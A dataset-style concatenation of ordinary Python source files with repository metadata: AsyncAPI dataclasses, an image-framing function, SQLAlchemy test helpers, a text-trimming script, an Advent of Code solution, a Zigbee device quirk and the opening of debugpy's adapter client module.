data.get("x-handler")), x_ack=forge(type_.__annotations__["x_ack"], data.get("x-ack")), ) register_forge(Message, Message.forge) @dataclass class OneOfMessages: """Using `oneOf` to specify multiple messages per operation""" oneOf: Sequence[Message] @staticmethod def forge( type_: Type["OneOfMessages"], data: JSONMapping, forge: Forge ) -> "OneOfMessages": if "oneOf" in data: return type_( oneOf=forge(type_.__annotations__["oneOf"], data["oneOf"]), ) return type_(oneOf=[forge(Message, data)]) def with_name(self, name: str) -> Optional[Message]: for message in self.oneOf: if message.name == name: return message return None register_forge(OneOfMessages, OneOfMessages.forge) @dataclass class Operation: """https://www.asyncapi.com/docs/specifications/2.0.0#operationObject""" message: OneOfMessages @dataclass class WebSocketsChannelBindings: """ https://github.com/asyncapi/bindings/tree/master/websockets#channel-binding-object """ method: Optional[str] = None query: Optional[JSONSchema] = None headers: Optional[JSONSchema] = None # TODO: Convert header properties to lowercase bindingVersion: str = "latest" @dataclass class ChannelBindings: """https://www.asyncapi.com/docs/specifications/2.0.0#channelBindingsObject""" ws: WebSocketsChannelBindings @dataclass class ChannelHandlers: connect: Optional[str] = None disconnect: Optional[str] = None error: Optional[str] = None @dataclass class Channel: """ https://www.asyncapi.com/docs/specifications/2.0.0#channelItemObject The above channel item object is extended to support default namespace handlers as per: https://www.asyncapi.com/docs/specifications/2.0.0#specificationExtensions The `x_handlers` field is serialized as `x-handlers`. """ subscribe: Optional[Operation] = None publish: Optional[Operation] = None bindings: Optional[ChannelBindings] = None x_handlers: Optional[ChannelHandlers] = None def __post_init__(self): if self.publish is not None: for message in self.publish.message.oneOf: if message.x_handler is None: raise ValueError( f"Message {message.name} is missing the x-handler attribute.\n" "Every message under a publish operation " "should have a handler defined." ) @staticmethod def forge(type_: Type["Channel"], data: JSONMapping, forge: Forge) -> "Channel": return type_( subscribe=forge(type_.__annotations__["subscribe"], data.get("subscribe")), publish=forge(type_.__annotations__["publish"], data.get("publish")), bindings=forge(type_.__annotations__["bindings"], data.get("bindings")), x_handlers=forge( type_.__annotations__["x_handlers"], data.get("x-handlers") ), ) register_forge(Channel, Channel.forge) @dataclass class Server: """https://www.asyncapi.com/docs/specifications/2.0.0#serverObject""" url: str @dataclass class AsyncApiSpec: """https://www.asyncapi.com/docs/specifications/2.0.0#A2SObject""" channels: Mapping[str, Channel] servers: Mapping[str, Server] = field(default_factory=dict) @staticmethod def from_dict(data: JSONMapping) -> "AsyncApiSpec": return forge(AsyncApiSpec, data) ErrorHandler = Callable[[Exception], None]

29.005376

88

0.67785

from dataclasses import dataclass from dataclasses import field from typing import Any from typing import Callable from typing import Mapping from typing import Optional from typing import Sequence from typing import Type from svarog import forge from svarog import register_forge from svarog.types import Forge JSONMappingValue = Any JSONMapping = Mapping[str, JSONMappingValue] JSONSchema = JSONMapping GLOBAL_NAMESPACE = "/" @dataclass class MessageAck: args: JSONSchema @dataclass class Message: name: str payload: Optional[JSONSchema] = None x_handler: Optional[str] = None x_ack: Optional[MessageAck] = None @staticmethod def forge(type_: Type["Message"], data: JSONMapping, forge: Forge) -> "Message": return type_( name=forge(type_.__annotations__["name"], data["name"]), payload=forge(type_.__annotations__["payload"], data.get("payload")), x_handler=forge(type_.__annotations__["x_handler"], data.get("x-handler")), x_ack=forge(type_.__annotations__["x_ack"], data.get("x-ack")), ) register_forge(Message, Message.forge) @dataclass class OneOfMessages: oneOf: Sequence[Message] @staticmethod def forge( type_: Type["OneOfMessages"], data: JSONMapping, forge: Forge ) -> "OneOfMessages": if "oneOf" in data: return type_( oneOf=forge(type_.__annotations__["oneOf"], data["oneOf"]), ) return type_(oneOf=[forge(Message, data)]) def with_name(self, name: str) -> Optional[Message]: for message in self.oneOf: if message.name == name: return message return None register_forge(OneOfMessages, OneOfMessages.forge) @dataclass class Operation: message: OneOfMessages @dataclass class WebSocketsChannelBindings: method: Optional[str] = None query: Optional[JSONSchema] = None headers: Optional[JSONSchema] = None bindingVersion: str = "latest" @dataclass class ChannelBindings: ws: WebSocketsChannelBindings @dataclass class ChannelHandlers: connect: Optional[str] = None disconnect: Optional[str] = None error: Optional[str] = None @dataclass class Channel: subscribe: Optional[Operation] = None publish: Optional[Operation] = None bindings: Optional[ChannelBindings] = None x_handlers: Optional[ChannelHandlers] = None def __post_init__(self): if self.publish is not None: for message in self.publish.message.oneOf: if message.x_handler is None: raise ValueError( f"Message {message.name} is missing the x-handler attribute.\n" "Every message under a publish operation " "should have a handler defined." ) @staticmethod def forge(type_: Type["Channel"], data: JSONMapping, forge: Forge) -> "Channel": return type_( subscribe=forge(type_.__annotations__["subscribe"], data.get("subscribe")), publish=forge(type_.__annotations__["publish"], data.get("publish")), bindings=forge(type_.__annotations__["bindings"], data.get("bindings")), x_handlers=forge( type_.__annotations__["x_handlers"], data.get("x-handlers") ), ) register_forge(Channel, Channel.forge) @dataclass class Server: url: str @dataclass class AsyncApiSpec: channels: Mapping[str, Channel] servers: Mapping[str, Server] = field(default_factory=dict) @staticmethod def from_dict(data: JSONMapping) -> "AsyncApiSpec": return forge(AsyncApiSpec, data) ErrorHandler = Callable[[Exception], None]

true

f701720dc66511da8b41f4c16f88ff2e260dada6

408

py

Python

ia870/iaframe.py

rdenadai/ia870p3

c4823efc4b8e5f187a64f8a4e9962e328bf86967

[ "BSD-2-Clause" ]

5

2018-10-15T12:02:03.000Z

2022-02-11T12:47:12.000Z

ia870/iaframe.py

rdenadai/ia870p3

c4823efc4b8e5f187a64f8a4e9962e328bf86967

[ "BSD-2-Clause" ]

1

2018-10-15T12:04:36.000Z

2019-01-25T12:04:35.000Z

ia870/iaframe.py

rdenadai/ia870p3

c4823efc4b8e5f187a64f8a4e9962e328bf86967

[ "BSD-2-Clause" ]

4

2019-01-25T11:13:48.000Z

2020-12-20T01:42:33.000Z

# -*- encoding: utf-8 -*- # Module iaframe from numpy import * def iaframe(f, WT=1, HT=1, DT=0, k1=None, k2=None): from ia870 import iaunion, iaintersec,ialimits if k1 is None: k1 = ialimits(f)[1] if k2 is None: k2 = ialimits(f)[0] assert len(f.shape)==2,'Supports 2D only' y = iaintersec(f,k2) y[:,0:WT] = k1 y[:,-WT:] = k1 y[0:HT,:] = k1 y[-HT:,:] = k1 return y

21.473684

51

0.561275

from numpy import * def iaframe(f, WT=1, HT=1, DT=0, k1=None, k2=None): from ia870 import iaunion, iaintersec,ialimits if k1 is None: k1 = ialimits(f)[1] if k2 is None: k2 = ialimits(f)[0] assert len(f.shape)==2,'Supports 2D only' y = iaintersec(f,k2) y[:,0:WT] = k1 y[:,-WT:] = k1 y[0:HT,:] = k1 y[-HT:,:] = k1 return y

true

f7017311d918b6323937deb442372097cda94beb

3,713

py

Python

tests/common.py

lucmichalski/saraki

74c11f70b4e7bdedfd33984cb96944c27a4eebbf

[ "MIT" ]

3

2020-07-01T17:34:39.000Z

2021-05-04T17:53:01.000Z

tests/common.py

lucmichalski/saraki

74c11f70b4e7bdedfd33984cb96944c27a4eebbf

[ "MIT" ]

25

2018-01-25T00:56:18.000Z

2021-06-12T04:29:00.000Z

tests/common.py

lucmichalski/saraki

74c11f70b4e7bdedfd33984cb96944c27a4eebbf

[ "MIT" ]

4

2020-04-19T21:24:34.000Z

2021-01-23T19:04:27.000Z

import jwt from contextlib import contextmanager from datetime import datetime, timedelta from sqlalchemy import Column, Integer, String, DateTime, Boolean from sqlalchemy import ForeignKey, func from sqlalchemy.orm import relationship from saraki.auth import _request_ctx_stack, User, Org from saraki.model import BaseModel, Model, database class DummyBaseModel(BaseModel): __tablename__ = "dummy_base_model" id = Column(Integer, primary_key=True) class DummyModel(Model): __tablename__ = "dummy_model" id = Column(Integer, primary_key=True) class Person(Model): __tablename__ = "person" id = Column(Integer, primary_key=True) firstname = Column(String, nullable=False) lastname = Column(String, nullable=False) age = Column(Integer, nullable=False) def export_data(self, include=("id", "firstname"), exclude=()): return super(Person, self).export_data(include, exclude) class Product(BaseModel): __tablename__ = "product" id = Column(Integer, primary_key=True) name = Column(String(120), nullable=False) color = Column(String, default="white") price = Column(Integer, default=0) created_at = Column(DateTime, nullable=False, default=func.now()) updated_at = Column(DateTime, nullable=False, server_default=func.now()) enabled = Column(Boolean, default=False) class Order(BaseModel): __tablename__ = "order" id = Column(Integer, primary_key=True) customer_id = Column(Integer, ForeignKey("person.id"), nullable=False) lines = relationship("OrderLine") customer = relationship("Person", uselist=False) class OrderLine(Model): __tablename__ = "order_line" order_id = Column(Integer, ForeignKey("order.id"), nullable=False, primary_key=True) product_id = Column( Integer, ForeignKey("product.id"), nullable=False, primary_key=True ) unit_price = Column(Integer, nullable=False) quantity = Column(Integer, default=1, nullable=False) product = relationship("Product", uselist=False) def export_data(self, include=(), exclude=()): include = tuple(include) + ("product_id", "unit_price", "quantity") return super(OrderLine, self).export_data(include, exclude) class Cartoon(Model): __tablename__ = "cartoon" id = Column(Integer, primary_key=True) name = Column(String(80), unique=True, nullable=False) nickname = Column(String(80), unique=True) class Todo(Model): __tablename__ = "todo" id = Column(Integer, primary_key=True) org_id = Column(Integer, ForeignKey("org.id"), nullable=False) task = Column(String(200), nullable=False) def login(username, orgname=None, scope=None): iat = datetime.utcnow() exp = iat + timedelta(seconds=6000) payload = {"iss": "acme.local", "sub": username, "iat": iat, "exp": exp} if orgname: payload.update({"aud": orgname, "scp": {"org": ["manage"]}}) if scope: payload.update({"scp": scope}) token = jwt.encode(payload, "secret").decode() return f"JWT {token}" @contextmanager def auth_ctx(username, orgname=None): _request_ctx_stack.top.current_user = User(id=1, username=username) if orgname: _request_ctx_stack.top.current_org = Org(id=1, orgname=orgname) yield def reset_secuence(table, column_name="id", schema_name="public"): table_name = f"{schema_name}.{table.__tablename__}" sql = f"SELECT pg_get_serial_sequence('{table_name}', '{column_name}');" secuence_name = database.engine.execute(sql).fetchone()[0] if secuence_name is not None: sql = f"ALTER SEQUENCE {secuence_name} RESTART WITH 1;" database.engine.execute(sql)

24.267974

88

0.693509

import jwt from contextlib import contextmanager from datetime import datetime, timedelta from sqlalchemy import Column, Integer, String, DateTime, Boolean from sqlalchemy import ForeignKey, func from sqlalchemy.orm import relationship from saraki.auth import _request_ctx_stack, User, Org from saraki.model import BaseModel, Model, database class DummyBaseModel(BaseModel): __tablename__ = "dummy_base_model" id = Column(Integer, primary_key=True) class DummyModel(Model): __tablename__ = "dummy_model" id = Column(Integer, primary_key=True) class Person(Model): __tablename__ = "person" id = Column(Integer, primary_key=True) firstname = Column(String, nullable=False) lastname = Column(String, nullable=False) age = Column(Integer, nullable=False) def export_data(self, include=("id", "firstname"), exclude=()): return super(Person, self).export_data(include, exclude) class Product(BaseModel): __tablename__ = "product" id = Column(Integer, primary_key=True) name = Column(String(120), nullable=False) color = Column(String, default="white") price = Column(Integer, default=0) created_at = Column(DateTime, nullable=False, default=func.now()) updated_at = Column(DateTime, nullable=False, server_default=func.now()) enabled = Column(Boolean, default=False) class Order(BaseModel): __tablename__ = "order" id = Column(Integer, primary_key=True) customer_id = Column(Integer, ForeignKey("person.id"), nullable=False) lines = relationship("OrderLine") customer = relationship("Person", uselist=False) class OrderLine(Model): __tablename__ = "order_line" order_id = Column(Integer, ForeignKey("order.id"), nullable=False, primary_key=True) product_id = Column( Integer, ForeignKey("product.id"), nullable=False, primary_key=True ) unit_price = Column(Integer, nullable=False) quantity = Column(Integer, default=1, nullable=False) product = relationship("Product", uselist=False) def export_data(self, include=(), exclude=()): include = tuple(include) + ("product_id", "unit_price", "quantity") return super(OrderLine, self).export_data(include, exclude) class Cartoon(Model): __tablename__ = "cartoon" id = Column(Integer, primary_key=True) name = Column(String(80), unique=True, nullable=False) nickname = Column(String(80), unique=True) class Todo(Model): __tablename__ = "todo" id = Column(Integer, primary_key=True) org_id = Column(Integer, ForeignKey("org.id"), nullable=False) task = Column(String(200), nullable=False) def login(username, orgname=None, scope=None): iat = datetime.utcnow() exp = iat + timedelta(seconds=6000) payload = {"iss": "acme.local", "sub": username, "iat": iat, "exp": exp} if orgname: payload.update({"aud": orgname, "scp": {"org": ["manage"]}}) if scope: payload.update({"scp": scope}) token = jwt.encode(payload, "secret").decode() return f"JWT {token}" @contextmanager def auth_ctx(username, orgname=None): _request_ctx_stack.top.current_user = User(id=1, username=username) if orgname: _request_ctx_stack.top.current_org = Org(id=1, orgname=orgname) yield def reset_secuence(table, column_name="id", schema_name="public"): table_name = f"{schema_name}.{table.__tablename__}" sql = f"SELECT pg_get_serial_sequence('{table_name}', '{column_name}');" secuence_name = database.engine.execute(sql).fetchone()[0] if secuence_name is not None: sql = f"ALTER SEQUENCE {secuence_name} RESTART WITH 1;" database.engine.execute(sql)

true

f70173db91482b779289e981d3527cf4fdf8b6bc

1,990

py

Python

do_trim.py

eric-haibin-lin/text-proc

f84e2d6f802302fef5f20a2cb4b7583a57dd15c3

[ "Apache-2.0" ]

9

2019-07-16T21:30:01.000Z

2022-01-26T02:32:26.000Z

do_trim.py

eric-haibin-lin/text-proc

f84e2d6f802302fef5f20a2cb4b7583a57dd15c3

[ "Apache-2.0" ]

null

do_trim.py

eric-haibin-lin/text-proc

f84e2d6f802302fef5f20a2cb4b7583a57dd15c3

[ "Apache-2.0" ]

2

2020-02-29T13:21:26.000Z

2020-08-19T09:27:29.000Z

from multiprocessing import Pool import argparse import glob import os import io import time import logging import gluonnlp as nlp import tokenizer as tokenization parser = argparse.ArgumentParser(description='BERT tokenizer') parser.add_argument('--input_files', type=str, default='wiki_*.doc', help='Input files. Default is "wiki_*.doc"') parser.add_argument('--nworker', type=int, default=8, help='Number of workers for parallel processing.') args = parser.parse_args() args = parser.parse_args() input_files = sorted(glob.glob(os.path.expanduser(args.input_files))) num_files = len(input_files) num_workers = args.nworker logging.basicConfig(level=logging.INFO) logging.info("Number of input files to process = %d"%(num_files)) # TODO(haibin) tokenize with vocab exclude_patterns = [ '< no ##in ##cl ##ude >\n' ] def in_pattern(x): for pattern in exclude_patterns: if len(x) == len(pattern) and x == pattern: return True return False def f(input_file): with io.open(input_file, 'r', encoding="utf-8") as fin: assert input_file.endswith('.tokens'), 'Expects .doc suffix for input files' with io.open(input_file.replace('.tokens', '.tks'), 'w', encoding="utf-8") as fout: new_doc = True with io.open(input_file, 'r', encoding="utf-8") as fin: lines = fin.readlines() for line in lines: if new_doc: new_doc = False elif len(line) == 1 and line[0] == '\n': new_doc = True fout.write(u'\n') elif in_pattern(line): pass else: fout.write(line) if __name__ == '__main__': tic = time.time() p = Pool(num_workers) p.map(f, input_files) toc = time.time() logging.info("Processed %s in %.2f sec"%(args.input_files, toc-tic))

32.622951

91

0.59799

from multiprocessing import Pool import argparse import glob import os import io import time import logging import gluonnlp as nlp import tokenizer as tokenization parser = argparse.ArgumentParser(description='BERT tokenizer') parser.add_argument('--input_files', type=str, default='wiki_*.doc', help='Input files. Default is "wiki_*.doc"') parser.add_argument('--nworker', type=int, default=8, help='Number of workers for parallel processing.') args = parser.parse_args() args = parser.parse_args() input_files = sorted(glob.glob(os.path.expanduser(args.input_files))) num_files = len(input_files) num_workers = args.nworker logging.basicConfig(level=logging.INFO) logging.info("Number of input files to process = %d"%(num_files)) exclude_patterns = [ '< no ##in ##cl ##ude >\n' ] def in_pattern(x): for pattern in exclude_patterns: if len(x) == len(pattern) and x == pattern: return True return False def f(input_file): with io.open(input_file, 'r', encoding="utf-8") as fin: assert input_file.endswith('.tokens'), 'Expects .doc suffix for input files' with io.open(input_file.replace('.tokens', '.tks'), 'w', encoding="utf-8") as fout: new_doc = True with io.open(input_file, 'r', encoding="utf-8") as fin: lines = fin.readlines() for line in lines: if new_doc: new_doc = False elif len(line) == 1 and line[0] == '\n': new_doc = True fout.write(u'\n') elif in_pattern(line): pass else: fout.write(line) if __name__ == '__main__': tic = time.time() p = Pool(num_workers) p.map(f, input_files) toc = time.time() logging.info("Processed %s in %.2f sec"%(args.input_files, toc-tic))

true

f7017509f204ca09eefcaa0814db20be4363c56d

445

py

Python

d9b.py

jogloran/advent-of-code-2020

9804f1eb8d94c991d9aa3348f01f4bf65c195849

[ "MIT" ]

null

d9b.py

jogloran/advent-of-code-2020

9804f1eb8d94c991d9aa3348f01f4bf65c195849

[ "MIT" ]

null

d9b.py

jogloran/advent-of-code-2020

9804f1eb8d94c991d9aa3348f01f4bf65c195849

[ "MIT" ]

null

import sys; from more_itertools import windowed, first_true orig_data = list(map(int, open('d9.txt'))) data = orig_data[:] target = 32321523 for i, e in enumerate(data): if i == 0: continue data[i] = data[i - 1] + data[i] for i in range(len(data)): for j in range(i): if data[i] - data[j] == target: print(j, i, 'inclusive') print(min(orig_data[j:i+1]) + max(orig_data[j:i+1])) sys.exit()

31.785714

64

0.58427

import sys; from more_itertools import windowed, first_true orig_data = list(map(int, open('d9.txt'))) data = orig_data[:] target = 32321523 for i, e in enumerate(data): if i == 0: continue data[i] = data[i - 1] + data[i] for i in range(len(data)): for j in range(i): if data[i] - data[j] == target: print(j, i, 'inclusive') print(min(orig_data[j:i+1]) + max(orig_data[j:i+1])) sys.exit()

true

f70175903618b46cbc2465f247c1e2539656a5a4

6,355

py

Python

zhaquirks/xiaomi/aqara/remote_b186acn01.py

sylvaing/zha-device-handlers

61dedab318a8986b2b0a7bffe5116bbc40bed214

[ "Apache-2.0" ]

null

zhaquirks/xiaomi/aqara/remote_b186acn01.py

sylvaing/zha-device-handlers

61dedab318a8986b2b0a7bffe5116bbc40bed214

[ "Apache-2.0" ]

null

zhaquirks/xiaomi/aqara/remote_b186acn01.py

sylvaing/zha-device-handlers

61dedab318a8986b2b0a7bffe5116bbc40bed214

[ "Apache-2.0" ]

null

"""Xiaomi aqara single key switch device.""" import logging from zigpy.profiles import zha from zigpy.zcl.clusters.general import ( AnalogInput, Basic, Groups, Identify, MultistateInput, OnOff, Ota, Scenes, ) from .. import ( LUMI, XIAOMI_NODE_DESC, BasicCluster, XiaomiPowerConfiguration, XiaomiQuickInitDevice, ) from ... import CustomCluster from ...const import ( ATTR_ID, COMMAND, DEVICE_TYPE, DOUBLE_PRESS, ENDPOINTS, INPUT_CLUSTERS, LONG_PRESS, MODELS_INFO, NODE_DESCRIPTOR, OUTPUT_CLUSTERS, PRESS_TYPE, PROFILE_ID, SHORT_PRESS, SKIP_CONFIGURATION, VALUE, ZHA_SEND_EVENT, ) DOUBLE = "double" HOLD = "long press" PRESS_TYPES = {0: "long press", 1: "single", 2: "double"} SINGLE = "single" STATUS_TYPE_ATTR = 0x0055 # decimal = 85 XIAOMI_CLUSTER_ID = 0xFFFF XIAOMI_DEVICE_TYPE = 0x5F01 XIAOMI_DEVICE_TYPE2 = 0x5F02 XIAOMI_DEVICE_TYPE3 = 0x5F03 _LOGGER = logging.getLogger(__name__) class RemoteB186ACN01(XiaomiQuickInitDevice): """Aqara single key switch device.""" class MultistateInputCluster(CustomCluster, MultistateInput): """Multistate input cluster.""" cluster_id = MultistateInput.cluster_id def __init__(self, *args, **kwargs): """Init.""" self._current_state = None super().__init__(*args, **kwargs) def _update_attribute(self, attrid, value): super()._update_attribute(attrid, value) if attrid == STATUS_TYPE_ATTR: self._current_state = PRESS_TYPES.get(value) event_args = { PRESS_TYPE: self._current_state, ATTR_ID: attrid, VALUE: value, } self.listener_event(ZHA_SEND_EVENT, self._current_state, event_args) # show something in the sensor in HA super()._update_attribute(0, self._current_state) signature = { # <SimpleDescriptor endpoint=1 profile=260 device_type=24321 # device_version=1 # input_clusters=[0, 3, 25, 65535, 18] # output_clusters=[0, 4, 3, 5, 25, 65535, 18]> MODELS_INFO: [ (LUMI, "lumi.remote.b186acn01"), (LUMI, "lumi.remote.b186acn02"), (LUMI, "lumi.sensor_86sw1"), ], NODE_DESCRIPTOR: XIAOMI_NODE_DESC, ENDPOINTS: { 1: { PROFILE_ID: zha.PROFILE_ID, DEVICE_TYPE: XIAOMI_DEVICE_TYPE, INPUT_CLUSTERS: [ Basic.cluster_id, Identify.cluster_id, Ota.cluster_id, XIAOMI_CLUSTER_ID, MultistateInputCluster.cluster_id, ], OUTPUT_CLUSTERS: [ Basic.cluster_id, Identify.cluster_id, Groups.cluster_id, Scenes.cluster_id, Ota.cluster_id, XIAOMI_CLUSTER_ID, MultistateInputCluster.cluster_id, ], }, # <SimpleDescriptor endpoint=2 profile=260 device_type=24322 # device_version=1 # input_clusters=[3, 18] # output_clusters=[4, 3, 5, 18]> 2: { PROFILE_ID: zha.PROFILE_ID, DEVICE_TYPE: XIAOMI_DEVICE_TYPE2, INPUT_CLUSTERS: [ Identify.cluster_id, MultistateInputCluster.cluster_id, ], OUTPUT_CLUSTERS: [ Identify.cluster_id, Groups.cluster_id, Scenes.cluster_id, MultistateInputCluster.cluster_id, ], }, # <SimpleDescriptor endpoint=3 profile=260 device_type=24323 # device_version=1 # input_clusters=[3, 12] # output_clusters=[4, 3, 5, 12]> 3: { PROFILE_ID: zha.PROFILE_ID, DEVICE_TYPE: XIAOMI_DEVICE_TYPE3, INPUT_CLUSTERS: [Identify.cluster_id, AnalogInput.cluster_id], OUTPUT_CLUSTERS: [ Identify.cluster_id, Groups.cluster_id, Scenes.cluster_id, AnalogInput.cluster_id, ], }, }, } replacement = { SKIP_CONFIGURATION: True, ENDPOINTS: { 1: { DEVICE_TYPE: zha.DeviceType.REMOTE_CONTROL, INPUT_CLUSTERS: [ BasicCluster, XiaomiPowerConfiguration, Identify.cluster_id, Ota.cluster_id, XIAOMI_CLUSTER_ID, MultistateInputCluster, ], OUTPUT_CLUSTERS: [ Basic.cluster_id, Identify.cluster_id, Groups.cluster_id, Scenes.cluster_id, Ota.cluster_id, XIAOMI_CLUSTER_ID, MultistateInputCluster, OnOff.cluster_id, ], }, 2: { DEVICE_TYPE: zha.DeviceType.REMOTE_CONTROL, INPUT_CLUSTERS: [Identify.cluster_id, MultistateInputCluster], OUTPUT_CLUSTERS: [ Identify.cluster_id, Groups.cluster_id, Scenes.cluster_id, MultistateInputCluster, ], }, 3: { DEVICE_TYPE: zha.DeviceType.REMOTE_CONTROL, INPUT_CLUSTERS: [Identify.cluster_id, MultistateInputCluster], OUTPUT_CLUSTERS: [ Identify.cluster_id, Groups.cluster_id, Scenes.cluster_id, AnalogInput.cluster_id, MultistateInputCluster, ], }, }, } device_automation_triggers = { (DOUBLE_PRESS, DOUBLE_PRESS): {COMMAND: DOUBLE}, (SHORT_PRESS, SHORT_PRESS): {COMMAND: SINGLE}, (LONG_PRESS, LONG_PRESS): {COMMAND: HOLD}, }

31.305419

84

0.51786

import logging from zigpy.profiles import zha from zigpy.zcl.clusters.general import ( AnalogInput, Basic, Groups, Identify, MultistateInput, OnOff, Ota, Scenes, ) from .. import ( LUMI, XIAOMI_NODE_DESC, BasicCluster, XiaomiPowerConfiguration, XiaomiQuickInitDevice, ) from ... import CustomCluster from ...const import ( ATTR_ID, COMMAND, DEVICE_TYPE, DOUBLE_PRESS, ENDPOINTS, INPUT_CLUSTERS, LONG_PRESS, MODELS_INFO, NODE_DESCRIPTOR, OUTPUT_CLUSTERS, PRESS_TYPE, PROFILE_ID, SHORT_PRESS, SKIP_CONFIGURATION, VALUE, ZHA_SEND_EVENT, ) DOUBLE = "double" HOLD = "long press" PRESS_TYPES = {0: "long press", 1: "single", 2: "double"} SINGLE = "single" STATUS_TYPE_ATTR = 0x0055 XIAOMI_CLUSTER_ID = 0xFFFF XIAOMI_DEVICE_TYPE = 0x5F01 XIAOMI_DEVICE_TYPE2 = 0x5F02 XIAOMI_DEVICE_TYPE3 = 0x5F03 _LOGGER = logging.getLogger(__name__) class RemoteB186ACN01(XiaomiQuickInitDevice): class MultistateInputCluster(CustomCluster, MultistateInput): cluster_id = MultistateInput.cluster_id def __init__(self, *args, **kwargs): self._current_state = None super().__init__(*args, **kwargs) def _update_attribute(self, attrid, value): super()._update_attribute(attrid, value) if attrid == STATUS_TYPE_ATTR: self._current_state = PRESS_TYPES.get(value) event_args = { PRESS_TYPE: self._current_state, ATTR_ID: attrid, VALUE: value, } self.listener_event(ZHA_SEND_EVENT, self._current_state, event_args) super()._update_attribute(0, self._current_state) signature = { MODELS_INFO: [ (LUMI, "lumi.remote.b186acn01"), (LUMI, "lumi.remote.b186acn02"), (LUMI, "lumi.sensor_86sw1"), ], NODE_DESCRIPTOR: XIAOMI_NODE_DESC, ENDPOINTS: { 1: { PROFILE_ID: zha.PROFILE_ID, DEVICE_TYPE: XIAOMI_DEVICE_TYPE, INPUT_CLUSTERS: [ Basic.cluster_id, Identify.cluster_id, Ota.cluster_id, XIAOMI_CLUSTER_ID, MultistateInputCluster.cluster_id, ], OUTPUT_CLUSTERS: [ Basic.cluster_id, Identify.cluster_id, Groups.cluster_id, Scenes.cluster_id, Ota.cluster_id, XIAOMI_CLUSTER_ID, MultistateInputCluster.cluster_id, ], }, 2: { PROFILE_ID: zha.PROFILE_ID, DEVICE_TYPE: XIAOMI_DEVICE_TYPE2, INPUT_CLUSTERS: [ Identify.cluster_id, MultistateInputCluster.cluster_id, ], OUTPUT_CLUSTERS: [ Identify.cluster_id, Groups.cluster_id, Scenes.cluster_id, MultistateInputCluster.cluster_id, ], }, 3: { PROFILE_ID: zha.PROFILE_ID, DEVICE_TYPE: XIAOMI_DEVICE_TYPE3, INPUT_CLUSTERS: [Identify.cluster_id, AnalogInput.cluster_id], OUTPUT_CLUSTERS: [ Identify.cluster_id, Groups.cluster_id, Scenes.cluster_id, AnalogInput.cluster_id, ], }, }, } replacement = { SKIP_CONFIGURATION: True, ENDPOINTS: { 1: { DEVICE_TYPE: zha.DeviceType.REMOTE_CONTROL, INPUT_CLUSTERS: [ BasicCluster, XiaomiPowerConfiguration, Identify.cluster_id, Ota.cluster_id, XIAOMI_CLUSTER_ID, MultistateInputCluster, ], OUTPUT_CLUSTERS: [ Basic.cluster_id, Identify.cluster_id, Groups.cluster_id, Scenes.cluster_id, Ota.cluster_id, XIAOMI_CLUSTER_ID, MultistateInputCluster, OnOff.cluster_id, ], }, 2: { DEVICE_TYPE: zha.DeviceType.REMOTE_CONTROL, INPUT_CLUSTERS: [Identify.cluster_id, MultistateInputCluster], OUTPUT_CLUSTERS: [ Identify.cluster_id, Groups.cluster_id, Scenes.cluster_id, MultistateInputCluster, ], }, 3: { DEVICE_TYPE: zha.DeviceType.REMOTE_CONTROL, INPUT_CLUSTERS: [Identify.cluster_id, MultistateInputCluster], OUTPUT_CLUSTERS: [ Identify.cluster_id, Groups.cluster_id, Scenes.cluster_id, AnalogInput.cluster_id, MultistateInputCluster, ], }, }, } device_automation_triggers = { (DOUBLE_PRESS, DOUBLE_PRESS): {COMMAND: DOUBLE}, (SHORT_PRESS, SHORT_PRESS): {COMMAND: SINGLE}, (LONG_PRESS, LONG_PRESS): {COMMAND: HOLD}, }

true

f701763c784e49214fd9a7e52a90d440b81882b8

28,284

py

Python

vscode/extensions/ms-python.python-2022.4.1/pythonFiles/lib/python/debugpy/adapter/clients.py

despresj/dotfiles

1c76fc4efcc125f74aa5ebdc4aa521277a360379

[ "MIT" ]

null

vscode/extensions/ms-python.python-2022.4.1/pythonFiles/lib/python/debugpy/adapter/clients.py

despresj/dotfiles

1c76fc4efcc125f74aa5ebdc4aa521277a360379

[ "MIT" ]

null

vscode/extensions/ms-python.python-2022.4.1/pythonFiles/lib/python/debugpy/adapter/clients.py

despresj/dotfiles

1c76fc4efcc125f74aa5ebdc4aa521277a360379

[ "MIT" ]

null

# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See LICENSE in the project root # for license information. from __future__ import absolute_import, division, print_function, unicode_literals import atexit import os import sys import debugpy from debugpy import adapter, common, launcher from debugpy.common import compat, fmt, json, log, messaging, sockets from debugpy.common.compat import unicode from debugpy.adapter import components, servers, sessions class Client(components.Component): """Handles the client side of a debug session.""" message_handler = components.Component.message_handler class Capabilities(components.Capabilities): PROPERTIES = { "supportsVariableType": False, "supportsVariablePaging": False, "supportsRunInTerminalRequest": False, "supportsMemoryReferences": False, } class Expectations(components.Capabilities): PROPERTIES = { "locale": "en-US", "linesStartAt1": True, "columnsStartAt1": True, "pathFormat": json.enum("path", optional=True), # we don't support "uri" } def __init__(self, sock): if sock == "stdio": log.info("Connecting to client over stdio...", self) stream = messaging.JsonIOStream.from_stdio() # Make sure that nothing else tries to interfere with the stdio streams # that are going to be used for DAP communication from now on. sys.stdin = stdin = open(os.devnull, "r") atexit.register(stdin.close) sys.stdout = stdout = open(os.devnull, "w") atexit.register(stdout.close) else: stream = messaging.JsonIOStream.from_socket(sock) with sessions.Session() as session: super(Client, self).__init__(session, stream) self.client_id = None """ID of the connecting client. This can be 'test' while running tests.""" self.has_started = False """Whether the "launch" or "attach" request was received from the client, and fully handled. """ self.start_request = None """The "launch" or "attach" request as received from the client. """ self._initialize_request = None """The "initialize" request as received from the client, to propagate to the server later.""" self._deferred_events = [] """Deferred events from the launcher and the server that must be propagated only if and when the "launch" or "attach" response is sent. """ self._known_subprocesses = set() """servers.Connection instances for subprocesses that this client has been made aware of. """ session.client = self session.register() # For the transition period, send the telemetry events with both old and new # name. The old one should be removed once the new one lights up. self.channel.send_event( "output", { "category": "telemetry", "output": "ptvsd", "data": {"packageVersion": debugpy.__version__}, }, ) self.channel.send_event( "output", { "category": "telemetry", "output": "debugpy", "data": {"packageVersion": debugpy.__version__}, }, ) def propagate_after_start(self, event): # pydevd starts sending events as soon as we connect, but the client doesn't # expect to see any until it receives the response to "launch" or "attach" # request. If client is not ready yet, save the event instead of propagating # it immediately. if self._deferred_events is not None: self._deferred_events.append(event) log.debug("Propagation deferred.") else: self.client.channel.propagate(event) def _propagate_deferred_events(self): log.debug("Propagating deferred events to {0}...", self.client) for event in self._deferred_events: log.debug("Propagating deferred {0}", event.describe()) self.client.channel.propagate(event) log.info("All deferred events propagated to {0}.", self.client) self._deferred_events = None # Generic event handler. There are no specific handlers for client 